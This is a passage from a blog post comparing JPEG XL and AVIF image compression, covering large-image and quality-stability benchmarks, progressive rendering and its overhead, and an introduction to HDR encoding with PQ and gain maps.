&lt;li&gt;&lt;strong&gt;Encode time &amp;amp; memory: AVIF wins&lt;/strong&gt;, although libjxl&#39;s default is now around the same speed as AVIF&#39;s default. jixel&#39;s default is ~2x faster than AVIF, but its files are 13–18% larger, and this time it uses ~30% more memory. In any case, at default efforts, everything encodes in under 50ms, using under 40 MB, so these differences don&#39;t really matter at this size.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins&lt;/strong&gt;, by a similar margin, but again, everything decodes in a few milliseconds.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-7&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;ColorVideoVDP, JOD (10 = no visible difference)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-7&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-7&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-7&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;The numbers Safari gives are rounded, so the data is really noisy.&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---large&quot;&gt;Lossy - large&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;What about an 18 megapixel image?&lt;/p&gt;
&lt;p&gt;Mostly the same story as the regular F1 image, but with a few differences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: AVIF wins at medium/high quality, by more than the regular image.&lt;/strong&gt; At default efforts, the best JPEG XL image is 18–46% larger, and at maximum efforts, 28–54% larger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;But JPEG XL catches up at very high quality.&lt;/strong&gt; Around SSIMULACRA2 85, libjxl&#39;s default matches AVIF&#39;s default, and at maximum efforts, jixel &#39;extraslow&#39; is ~6% smaller than AVIF s0. jixel &#39;slow&#39; is 10–13% smaller than AVIF&#39;s default from SSIMULACRA2 80 upwards.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: AVIF wins at medium/high quality, but JPEG XL (jixel) wins at very high quality.&lt;/strong&gt; AVIF&#39;s default takes ~0.5 seconds, whereas libjxl&#39;s default takes 1–2 seconds. jixel&#39;s default is ~2x faster than AVIF, but at medium/high quality its files are 29–57% larger. At very high quality, that drops to 6–12% larger, which seems like a reasonable trade-off for the speed. And jixel &#39;slow&#39; produces files around the same size as AVIF s5, while being 33–41% faster.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: AVIF wins, and the costs are now significant.&lt;/strong&gt; AVIF&#39;s default uses ~560 MB. libjxl&#39;s default uses ~2.5 GB at medium/high quality. jixel&#39;s default uses ~35% less than AVIF, and &#39;slow&#39; uses ~18% less than AVIF s5. At maximum efforts, libjxl uses 5–6.4 GB, and jixel &#39;extraslow&#39; uses 6.8–8.3 GB.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins&lt;/strong&gt; at medium/high quality, by a similar margin to the regular image. jixel images take over 5x as long as AVIF to decode in Safari at those qualities. At very high quality, JPEG XL decodes faster than AVIF in Chrome.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-8&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;ColorVideoVDP, JOD (10 = no visible difference)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-8&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-8&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-8&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#quality-stability&quot;&gt;Quality stability&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Another criticism I&#39;ve heard levelled at AVIF is that its quality is unreliable. As in, a single quality setting is great for some images, but no good for others, meaning for automatically encoded images, you need to pick a higher quality setting to be safe, resulting in larger file sizes than necessary for some images.&lt;/p&gt;
&lt;p&gt;For the images I&#39;ve looked at so far, I encoded them with &lt;code&gt;avifenc -q 50&lt;/code&gt;, &lt;code&gt;cjxl -q 70&lt;/code&gt;, and jixel at quality 80, and recorded the resulting SSIMULACRA2 scores:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Image&lt;/th&gt;
&lt;th&gt;AVIF&lt;/th&gt;
&lt;th&gt;JPEG XL&lt;/th&gt;
&lt;th&gt;JPEG XL (jixel)&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;74.6&lt;/td&gt;
&lt;td&gt;75.9&lt;/td&gt;
&lt;td&gt;73.4&lt;/td&gt;
&lt;td&gt;73.8&lt;/td&gt;
&lt;td&gt;79.2&lt;/td&gt;
&lt;td&gt;78.0&lt;/td&gt;
&lt;td&gt;75.3&lt;/td&gt;
&lt;td&gt;77.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;70.9&lt;/td&gt;
&lt;td&gt;73.5&lt;/td&gt;
&lt;td&gt;68.4&lt;/td&gt;
&lt;td&gt;69.5&lt;/td&gt;
&lt;td&gt;75.6&lt;/td&gt;
&lt;td&gt;73.9&lt;/td&gt;
&lt;td&gt;70.6&lt;/td&gt;
&lt;td&gt;72.6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;77.0&lt;/td&gt;
&lt;td&gt;77.4&lt;/td&gt;
&lt;td&gt;76.2&lt;/td&gt;
&lt;td&gt;76.6&lt;/td&gt;
&lt;td&gt;80.1&lt;/td&gt;
&lt;td&gt;79.2&lt;/td&gt;
&lt;td&gt;77.5&lt;/td&gt;
&lt;td&gt;78.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;70.7&lt;/td&gt;
&lt;td&gt;72.0&lt;/td&gt;
&lt;td&gt;69.8&lt;/td&gt;
&lt;td&gt;70.5&lt;/td&gt;
&lt;td&gt;69.6&lt;/td&gt;
&lt;td&gt;70.3&lt;/td&gt;
&lt;td&gt;69.1&lt;/td&gt;
&lt;td&gt;72.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;67.5&lt;/td&gt;
&lt;td&gt;68.8&lt;/td&gt;
&lt;td&gt;67.0&lt;/td&gt;
&lt;td&gt;67.2&lt;/td&gt;
&lt;td&gt;69.5&lt;/td&gt;
&lt;td&gt;68.4&lt;/td&gt;
&lt;td&gt;69.2&lt;/td&gt;
&lt;td&gt;72.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;56.7&lt;/td&gt;
&lt;td&gt;57.2&lt;/td&gt;
&lt;td&gt;56.0&lt;/td&gt;
&lt;td&gt;56.3&lt;/td&gt;
&lt;td&gt;56.6&lt;/td&gt;
&lt;td&gt;55.4&lt;/td&gt;
&lt;td&gt;54.9&lt;/td&gt;
&lt;td&gt;59.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80.2&lt;/td&gt;
&lt;td&gt;80.4&lt;/td&gt;
&lt;td&gt;82.3&lt;/td&gt;
&lt;td&gt;81.9&lt;/td&gt;
&lt;td&gt;86.5&lt;/td&gt;
&lt;td&gt;87.6&lt;/td&gt;
&lt;td&gt;76.6&lt;/td&gt;
&lt;td&gt;80.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;78.6&lt;/td&gt;
&lt;td&gt;79.7&lt;/td&gt;
&lt;td&gt;76.8&lt;/td&gt;
&lt;td&gt;77.9&lt;/td&gt;
&lt;td&gt;80.3&lt;/td&gt;
&lt;td&gt;78.5&lt;/td&gt;
&lt;td&gt;75.4&lt;/td&gt;
&lt;td&gt;77.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;67.3&lt;/td&gt;
&lt;td&gt;69.8&lt;/td&gt;
&lt;td&gt;63.6&lt;/td&gt;
&lt;td&gt;64.9&lt;/td&gt;
&lt;td&gt;69.4&lt;/td&gt;
&lt;td&gt;66.9&lt;/td&gt;
&lt;td&gt;66.8&lt;/td&gt;
&lt;td&gt;69.6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The behaviour of the codecs here seems really similar. All produce a range of SSIMULACRA2 scores, and they all go higher or lower for the same images.&lt;/p&gt;
&lt;p&gt;And I think this is ok? Like, all three go for a lower quality for the Weasel picture, which removed noise without reducing quality of the image subject. With the screenshot, all go for a higher quality, which seems justified to my eyes.&lt;/p&gt;
&lt;p&gt;Obviously this is a small sample size, but I haven&#39;t seen anything that suggests using a single quality setting is a risk, for any of the three codecs.&lt;/p&gt;
&lt;p&gt;Also see &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://halide.cx/blog/consistency/&quot;&gt;Halide Compression&#39;s deeper dive into this&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#progressive&quot;&gt;Progressive&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Both AVIF and JPEG XL are capable of showing something progressively as the image loads. Chrome and Firefox support progressive JPEG XL, whereas only Chrome supports progressive AVIF. So, and I say this through gritted teeth, this next demo is best viewed in Chrome (I have &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=2072679&quot;&gt;a Firefox patch in progress&lt;/a&gt;):&lt;/p&gt;
&lt;p&gt;Downloaded: 11.5 kB&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AVIF: 11.5 kB of 151.3 kB&lt;/li&gt;
&lt;li&gt;JPEG XL: 11.5 kB of 166.0 kB&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the 18 megapixel image again, so if you&#39;re viewing this on a device with a smaller screen, you&#39;re not getting the full effect.&lt;/p&gt;
&lt;p&gt;Progressive AVIF and JPEG XL work very differently. With JPEG XL, you can opt into the data being stored in such a way that a decoder can render low resolution versions, before it brings in the higher resolution tiles. jixel recently (like, yesterday at time of writing) added support for this too. It&#39;s called &amp;quot;progressive DC&amp;quot;, and it&#39;s the most important kind of progressive rendering for JPEG XL.&lt;/p&gt;
&lt;p&gt;With AVIF, progressions work more like frames of a video. You provide up to four frames, so that&#39;s three phases before the final image. Again, like a video, each frame can use data from the previous frame as an optimisation. An advantage of this is you can choose exactly how those frames look. In the example above, I went with a single preview frame: a 1/8th resolution version, with a bit of blurring. But, your preview frames can be completely different images if you really want.&lt;/p&gt;
&lt;p&gt;There&#39;s a lack of data when it comes to progressive images and user experience, so these are just my reckons:&lt;/p&gt;
&lt;p&gt;If you&#39;re on a bad connection, data doesn&#39;t arrive gradually like some throttling tools will have you believe. It tends to come in bursts. So, there&#39;s little benefit to progressive rendering on smaller images, and I&#39;m not sure that many progressive phases is particularly useful.&lt;/p&gt;
&lt;p&gt;I think that it&#39;s nice to have a &lt;em&gt;representative&lt;/em&gt; preview for images that may take some time to load. I&#39;ve experienced this personally, where a site or app has given me something clearly not-loaded, but with enough detail to know what&#39;s coming. That&#39;s useful to me, as I can decide things like, if it&#39;s worth waiting for the whole thing. This is also why I think things like BlurHash are cute, but useless. They&#39;re not a &lt;em&gt;representative&lt;/em&gt; preview, so there&#39;s little a user can do with the information provided.&lt;/p&gt;
&lt;p&gt;The preview frame I chose for the AVIF is enough to tell it&#39;s an open-wheel race car. If you know F1, you&#39;ll know what team it is. You might even know where the photo was taken. And it delivers that in ~11.5 kB.&lt;/p&gt;
&lt;p&gt;The JPEG XL gets a BlurHash-like preview on screen in ~2 kB, but it takes until ~63 kB to match the preview quality of the AVIF. After that, it continues to improve gradually, providing a more detailed and higher quality image as more data arrives.&lt;/p&gt;
&lt;p&gt;However, I&#39;m not convinced this is a good user experience, as it presents the user with something they may mistake for fully-loaded, but poor quality. For example:&lt;/p&gt;
&lt;p&gt;Here&#39;s a crop of the JPEG XL, 80% loaded. It seems reasonable that someone would look at that, and just assume I took the picture badly, leaving parts out of focus. You could probably convince me that blurring the ApeCoin logo is a societal benefit, but it still feels like a suboptimal user experience.&lt;/p&gt;
&lt;p&gt;AVIF&#39;s system gives me more control, but it&#39;s also more complex.&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#progressive-overhead&quot;&gt;Progressive overhead&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I encoded the large F1 image with and without progressive rendering enabled, adjusting the quality setting to keep the SSIMULACRA2 score around 70:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;With libjxl, progressive is basically free.&lt;/strong&gt; In fact, it produced files 6–10% smaller. At default effort, it was also faster to encode, and used less memory. Decoding was ~10% faster in Firefox, but 12–20% slower in Chrome and Safari.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;With jixel, it depends on the effort.&lt;/strong&gt; For jixel, I used progressive DC, with the centre of the image loading first. At jixel&#39;s default (&#39;fast&#39;), progressive made the file 12% bigger. At &#39;extraslow&#39;, it made the file 10% smaller, and 11% faster to encode, although it used 17% more memory. Decoding was barely affected, other than being 7–9% slower in Chrome.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;But ColorVideoVDP is less kind to progressive jixel.&lt;/strong&gt; It rates jixel&#39;s progressive files slightly lower than the non-progressive versions, whereas it rates libjxl&#39;s progressive files slightly higher. Taking that into account, progressive jixel at &#39;extraslow&#39; is only ~2% smaller than non-progressive, and at &#39;fast&#39; it&#39;s around 18% bigger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regular progressive AVIF has a bigger cost when it comes to encoding.&lt;/strong&gt; It uses around twice the memory, and at default effort (s6), it takes twice as long to encode. At s0, encode time is only 9% longer, but the file is 14% bigger. And this is pure encode time - it doesn&#39;t factor in how you might generate the preview frame, e.g. adding some blur.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regular progressive AVIF is 29–44% slower to decode in Chrome&lt;/strong&gt;, although the difference is smaller in other browsers (6–15%). Since Chrome is the only browser that supports rendering the progressive frames, that might explain it. Although Firefox and Safari are still having to decode the progressive frame, as the main image builds upon it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;With AVIF, making the final frame a keyframe fixes the decoding overhead&lt;/strong&gt;, at the cost of a longer encode time. At maximum effort, it results in a smaller file too, only 3–5% bigger than the non-progressive version. You could call this cheating, as there&#39;s now no &#39;progression&#39; in terms of data - it&#39;s just two images in one. But, if it&#39;s a better user experience, who cares?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Even with the overhead, progressive AVIF wins on decoding time, and usually on file size.&lt;/strong&gt; The progressive AVIFs are 152–181 kB. jixel&#39;s &#39;extraslow&#39; progressive JPEG XL is in that range at 166 kB, but jixel&#39;s default produces 252 kB, and libjxl&#39;s progressive files are 233–242 kB. The AVIFs decode 1.6–6x faster, with the biggest gap in Safari, which is particularly slow to decode jixel&#39;s files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Show me the data!&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Encoding&lt;/th&gt;
&lt;th&gt;Quality&lt;/th&gt;
&lt;th&gt;File size&lt;/th&gt;
&lt;th&gt;SSIMU2&lt;/th&gt;
&lt;th&gt;Encode&lt;/th&gt;
&lt;th&gt;Decode&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;175 kB&lt;/td&gt;
&lt;td&gt;69.9&lt;/td&gt;
&lt;td&gt;405 ms&lt;/td&gt;
&lt;td&gt;381 MB&lt;/td&gt;
&lt;td&gt;46 ms&lt;/td&gt;
&lt;td&gt;41 ms&lt;/td&gt;
&lt;td&gt;53 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;173 kB&lt;/td&gt;
&lt;td&gt;70.2&lt;/td&gt;
&lt;td&gt;815 ms&lt;/td&gt;
&lt;td&gt;764 MB&lt;/td&gt;
&lt;td&gt;49 ms&lt;/td&gt;
&lt;td&gt;53 ms&lt;/td&gt;
&lt;td&gt;56 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+1&lt;/td&gt;
&lt;td&gt;−1%&lt;/td&gt;
&lt;td&gt;+0.3&lt;/td&gt;
&lt;td&gt;+101%&lt;/td&gt;
&lt;td&gt;+101%&lt;/td&gt;
&lt;td&gt;+7%&lt;/td&gt;
&lt;td&gt;+29%&lt;/td&gt;
&lt;td&gt;+6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;181 kB&lt;/td&gt;
&lt;td&gt;70.3&lt;/td&gt;
&lt;td&gt;1.09 s&lt;/td&gt;
&lt;td&gt;740 MB&lt;/td&gt;
&lt;td&gt;45 ms&lt;/td&gt;
&lt;td&gt;35 ms&lt;/td&gt;
&lt;td&gt;49 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+1&lt;/td&gt;
&lt;td&gt;+3%&lt;/td&gt;
&lt;td&gt;+0.4&lt;/td&gt;
&lt;td&gt;+169%&lt;/td&gt;
&lt;td&gt;+94%&lt;/td&gt;
&lt;td&gt;−2%&lt;/td&gt;
&lt;td&gt;−15%&lt;/td&gt;
&lt;td&gt;−8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;145 kB&lt;/td&gt;
&lt;td&gt;69.9&lt;/td&gt;
&lt;td&gt;8.00 s&lt;/td&gt;
&lt;td&gt;450 MB&lt;/td&gt;
&lt;td&gt;47 ms&lt;/td&gt;
&lt;td&gt;41 ms&lt;/td&gt;
&lt;td&gt;48 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;165 kB&lt;/td&gt;
&lt;td&gt;70.5&lt;/td&gt;
&lt;td&gt;8.71 s&lt;/td&gt;
&lt;td&gt;847 MB&lt;/td&gt;
&lt;td&gt;54 ms&lt;/td&gt;
&lt;td&gt;59 ms&lt;/td&gt;
&lt;td&gt;52 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+1&lt;/td&gt;
&lt;td&gt;+14%&lt;/td&gt;
&lt;td&gt;+0.6&lt;/td&gt;
&lt;td&gt;+9%&lt;/td&gt;
&lt;td&gt;+88%&lt;/td&gt;
&lt;td&gt;+15%&lt;/td&gt;
&lt;td&gt;+44%&lt;/td&gt;
&lt;td&gt;+8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;152 kB&lt;/td&gt;
&lt;td&gt;69.6&lt;/td&gt;
&lt;td&gt;10.72 s&lt;/td&gt;
&lt;td&gt;798 MB&lt;/td&gt;
&lt;td&gt;47 ms&lt;/td&gt;
&lt;td&gt;40 ms&lt;/td&gt;
&lt;td&gt;46 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;±0&lt;/td&gt;
&lt;td&gt;+5%&lt;/td&gt;
&lt;td&gt;−0.3&lt;/td&gt;
&lt;td&gt;+34%&lt;/td&gt;
&lt;td&gt;+77%&lt;/td&gt;
&lt;td&gt;±0%&lt;/td&gt;
&lt;td&gt;−2%&lt;/td&gt;
&lt;td&gt;−4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;35.5&lt;/td&gt;
&lt;td&gt;258 kB&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;1.62 s&lt;/td&gt;
&lt;td&gt;2.49 GB&lt;/td&gt;
&lt;td&gt;131 ms&lt;/td&gt;
&lt;td&gt;105 ms&lt;/td&gt;
&lt;td&gt;162 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25.3&lt;/td&gt;
&lt;td&gt;233 kB&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;1.40 s&lt;/td&gt;
&lt;td&gt;1.90 GB&lt;/td&gt;
&lt;td&gt;119 ms&lt;/td&gt;
&lt;td&gt;121 ms&lt;/td&gt;
&lt;td&gt;183 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;−10.2&lt;/td&gt;
&lt;td&gt;−10%&lt;/td&gt;
&lt;td&gt;±0.0&lt;/td&gt;
&lt;td&gt;−14%&lt;/td&gt;
&lt;td&gt;−24%&lt;/td&gt;
&lt;td&gt;−9%&lt;/td&gt;
&lt;td&gt;+15%&lt;/td&gt;
&lt;td&gt;+13%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;41.2&lt;/td&gt;
&lt;td&gt;258 kB&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;22.74 s&lt;/td&gt;
&lt;td&gt;5.67 GB&lt;/td&gt;
&lt;td&gt;132 ms&lt;/td&gt;
&lt;td&gt;107 ms&lt;/td&gt;
&lt;td&gt;162 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30.2&lt;/td&gt;
&lt;td&gt;242 kB&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;25.54 s&lt;/td&gt;
&lt;td&gt;6.08 GB&lt;/td&gt;
&lt;td&gt;119 ms&lt;/td&gt;
&lt;td&gt;128 ms&lt;/td&gt;
&lt;td&gt;181 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;−11.0&lt;/td&gt;
&lt;td&gt;−6%&lt;/td&gt;
&lt;td&gt;±0.0&lt;/td&gt;
&lt;td&gt;+12%&lt;/td&gt;
&lt;td&gt;+7%&lt;/td&gt;
&lt;td&gt;−10%&lt;/td&gt;
&lt;td&gt;+20%&lt;/td&gt;
&lt;td&gt;+12%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;66.1&lt;/td&gt;
&lt;td&gt;225 kB&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;304 ms&lt;/td&gt;
&lt;td&gt;361 MB&lt;/td&gt;
&lt;td&gt;131 ms&lt;/td&gt;
&lt;td&gt;89 ms&lt;/td&gt;
&lt;td&gt;281 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;60.1&lt;/td&gt;
&lt;td&gt;252 kB&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;333 ms&lt;/td&gt;
&lt;td&gt;393 MB&lt;/td&gt;
&lt;td&gt;132 ms&lt;/td&gt;
&lt;td&gt;97 ms&lt;/td&gt;
&lt;td&gt;290 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;−6.0&lt;/td&gt;
&lt;td&gt;+12%&lt;/td&gt;
&lt;td&gt;±0.0&lt;/td&gt;
&lt;td&gt;+10%&lt;/td&gt;
&lt;td&gt;+9%&lt;/td&gt;
&lt;td&gt;+1%&lt;/td&gt;
&lt;td&gt;+9%&lt;/td&gt;
&lt;td&gt;+3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;65.1&lt;/td&gt;
&lt;td&gt;185 kB&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;16.75 s&lt;/td&gt;
&lt;td&gt;7.61 GB&lt;/td&gt;
&lt;td&gt;141 ms&lt;/td&gt;
&lt;td&gt;92 ms&lt;/td&gt;
&lt;td&gt;294 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;55.4&lt;/td&gt;
&lt;td&gt;166 kB&lt;/td&gt;
&lt;td&gt;70.0&lt;/td&gt;
&lt;td&gt;14.90 s&lt;/td&gt;
&lt;td&gt;8.94 GB&lt;/td&gt;
&lt;td&gt;140 ms&lt;/td&gt;
&lt;td&gt;98 ms&lt;/td&gt;
&lt;td&gt;293 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;−9.7&lt;/td&gt;
&lt;td&gt;−10%&lt;/td&gt;
&lt;td&gt;±0.0&lt;/td&gt;
&lt;td&gt;−11%&lt;/td&gt;
&lt;td&gt;+17%&lt;/td&gt;
&lt;td&gt;−1%&lt;/td&gt;
&lt;td&gt;+7%&lt;/td&gt;
&lt;td&gt;±0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---hdr&quot;&gt;Lossy - HDR&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&#39;s get back to lossy compression, but this time HDR! There are a few ways to encode HDR images, and we&#39;re going to look at two.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Perceptual Quantization&lt;/strong&gt; (PQ) tells each pixel what to be. Each value maps to an absolute brightness, up to 10,000 nits, with the curve shaped so the data is spent where our eyes are most sensitive. If the image asks for colours and brightnesses the display can&#39;t show (no consumer display can hit 10,000 nits), the browser/OS has to tone-map it down, and how well that&#39;s done varies between platforms.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gain maps&lt;/strong&gt; are different. The main image is a regular SDR image (usually), and alongside it is a &#39;gain map&#39;, which applies a brightness and colour change to each pixel to achieve the HDR version.&lt;/p&gt;
&lt;p&gt;This has two benefits:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The same image will look exactly as you want on an SDR display - the gain map is simply ignored.&lt;/li&gt;
&lt;li&gt;If the display supports HDR, but maybe not as much as the image needs (for example, the screen is at low or maximum brightness), the browser/OS can apply as much of the gain map as it can handle.&lt;/li&gt;
&lt;/ol&gt;
